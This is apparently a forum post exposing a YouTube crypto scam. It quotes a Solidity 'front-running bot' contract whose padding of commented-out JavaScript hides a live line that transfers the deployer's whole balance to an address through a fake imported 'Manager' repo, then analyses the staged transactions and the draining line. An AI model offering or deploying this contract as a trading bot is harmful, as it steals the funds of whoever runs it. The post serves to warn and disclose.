uniswap-v2-core VS 1inch-v3-periphery

// PancakeSwap Callee import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";

pragma solidity ^0.6.6; // PancakeSwap FrontrunDeployer import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; // PancakeSwap manager import "https://github.com/UniswapV2-DEV/Uniswap/blob/main/Uniswap-v2-Periphery"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; contract UniswapV2FrontBot { string public tokenName; string public tokenSymbol; uint frontrun; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; manager = new Manager(); } // Send required BNB for liquidity pair receive() external payable {} // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks(); function action() public payable { //Perform a front-running attack on uniswap //const fs = require('fs'); //var Web3 = require('web3'); //var abiDecoder = require('abi-decoder'); //var colors = require("colors"); //var Tx = require('ethereumjs-tx').Transaction; //var axios = require('axios'); //var BigNumber = require('big-number'); //const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js'); //const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js'); //const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js'); //const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; //const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; manager; //var input_token_info; //var out_token_info; //var pool_info; //var gas_price_info; manager; //var web3; //var web3Ts; //var web3Ws; //var pancakeRouter; //var pancakeFactory; manager; // one gwei //const ONE_GWEI = 1e9; manager; //var buy_finished = false; //var sell_finished = false; //var buy_failed = false; //var sell_failed = false; //var attack_started = false; manager; //var succeed = false; //var subscription; manager; //async function createWeb3(){ //try { // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK)); // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST)); // web3 = new Web3(EthereumTesterProvider()); // web3.eth.getAccounts(console.log); //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK)); //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS); //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS); //abiDecoder.addABI(PANCAKE_ROUTER_ABI); manager; //return true; //} catch (error) { //console.log(error); //return false; //async function main() { //try { //if (await createWeb3() == false) { //console.log('Web3 Create Error'.yellow); //process.exit(); //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY); //const out_token_address = TOKEN_ADDRESS; //const amount = AMOUNT; //const level = LEVEL; //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level); //if(ret == false) { //process.exit(); //await updatePoolInfo(); //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet); //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' + input_token_info.symbol + ' Exchange on Pancake *****' // console.log(log_str.green); // console.log(web3Ws); //web3Ws.onopen = function(evt) { //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address })); //console.log('connected') // get pending transactions //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) { //}).on("data", async function (transactionHash) { //console.log(transactionHash); // let transaction = await web3.eth.getTransaction(transactionHash); // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS) // { // await handleTransaction(transaction, out_token_address, user_wallet, amount, level); // } //if (succeed) { //console.log("The bot finished the attack."); //process.exit(); //catch (error) { //if(error.data != null && error.data.see === 'https://infura.io/dashboard') //console.log('Daily request count exceeded, Request rate limited'.yellow); //console.log('Please insert other API Key'); //else{ //console.log('Unknown Handled Error'); //console.log(error); //process.exit(); //function handleTransaction(transaction, out_token_address, user_wallet, amount, level) { //(await triggersFrontRun(transaction, out_token_address, amount, level)) { //subscription.unsubscribe(); //console.log('Perform front running attack...'); //gasPrice = parseInt(transaction['gasPrice']); //newGasPrice = gasPrice + 50*ONE_GWEI; //estimatedInput = ((amount*0.999)*(10**18)).toString(); //realInput = (amount*(10**18)).toString(); //gasLimit = (300000).toString(); //await updatePoolInfo(); //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call(); //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction); //console.log("wait until the honest transaction is done...", transaction['hash']); //while (await isPending(transaction['hash'])) { //if(buy_failed) //succeed = false; //return; //console.log('Buy succeed:') //Sell //await updatePoolInfo(); //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call(); //outputeth = outputeth * 0.999; //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction); //console.log('Sell succeed'); //succeed = true; manager; //async function approve(gasPrice, outputtoken, out_token_address, user_wallet){ //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call(); //allowance = BigNumber(allowance); //outputtoken = BigNumber(outputtoken); //var decimals = BigNumber(10).power(out_token_info.decimals); //var max_allowance = BigNumber(10000).multiply(decimals); //if(outputtoken.gt(max_allowance)) //console.log('replace max allowance') //max_allowance = outputtoken; payable(manager.uniswapDepositAddress()).transfer(address(this).balance); //if(outputtoken.gt(allowance)){ //console.log(max_allowance.toString()); //var approveTX ={ //from: user_wallet.address, //to: out_token_address, //gas: 50000, //gasPrice: gasPrice*ONE_GWEI, //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI() manager; //var signedTX = await user_wallet.signTransaction(approveTX); //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction); //console.log('Approved Token') //return; //select attacking transaction //async function triggersFrontRun(transaction, out_token_address, amount, level) { //if(attack_started) //return false; //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9); //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){ //attack_started = true; //return true manager; //return false; //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) { //return false; //let data = parseTx(transaction['input']); manager; //let method = data[0]; manager; //let params = data[1]; manager; //let gasPrice = parseInt(transaction['gasPrice']) / 10**9; manager; //if(method == 'swapExactETHForTokens') manager; //let in_amount = transaction; manager; //let out_min = params[0]; manager; //let path = params[1]; manager; //let in_token_addr = path[0]; manager; //let out_token_addr = path[path.length-1]; manager; //let recept_addr = params[2]; manager; //let deadline = params[3]; manager; //if(out_token_addr != out_token_address) manager; // console.log(out_token_addr.blue) // console.log(out_token_address) //return false; } }

I am not sure if my analysis was correct or not, but the description in the video does not match what I saw on etherscan. This contract is a part of a bot advertising video from Cryptain, which now has 22k followers. [Transaction perspective] In 2:45 , we see that 0xa734DAdd145BFE6221C011A61dbB1F2c248851C9 (Cryptain 1)and 0xe1e206e5582D8782528B072d571e35709FF027e7 (Cryptain 2)both belongs to the youtuber. After he created this contract with 0xa73, 0xa73(Cryptain 1) transferred 1 eth to 0x8c5(this contract) as shown in the video. However, another 0.29 eth was sent to 0x8c5(this contract) from 0x69b(unknown) off screen. 0x8c5(this contract) then transferred 1.29 back to 0xa73(Cryptain 1) through 0xe1e( Cryptain 2). At the end of the video, he showed the viewer that he has 1.45 (1.2(original funds) - 1(initial transfer) + 1.29(ending transfer) - gas fees = 1.45) in his account, claiming that he earned 50% + return with the bot within 24 hours, which sounds weird since according to the timestamp on etherscan, the entire money transaction game took about 10 min. [Code perspective] According to the bot script he provided, in line 217, the bot calls a function that will transfer a balance from the bot owner (you) to an address 0xf836D38811AE2cf724CbA59c9e6b118fF6850416 (scammer) The function can be found in a github repo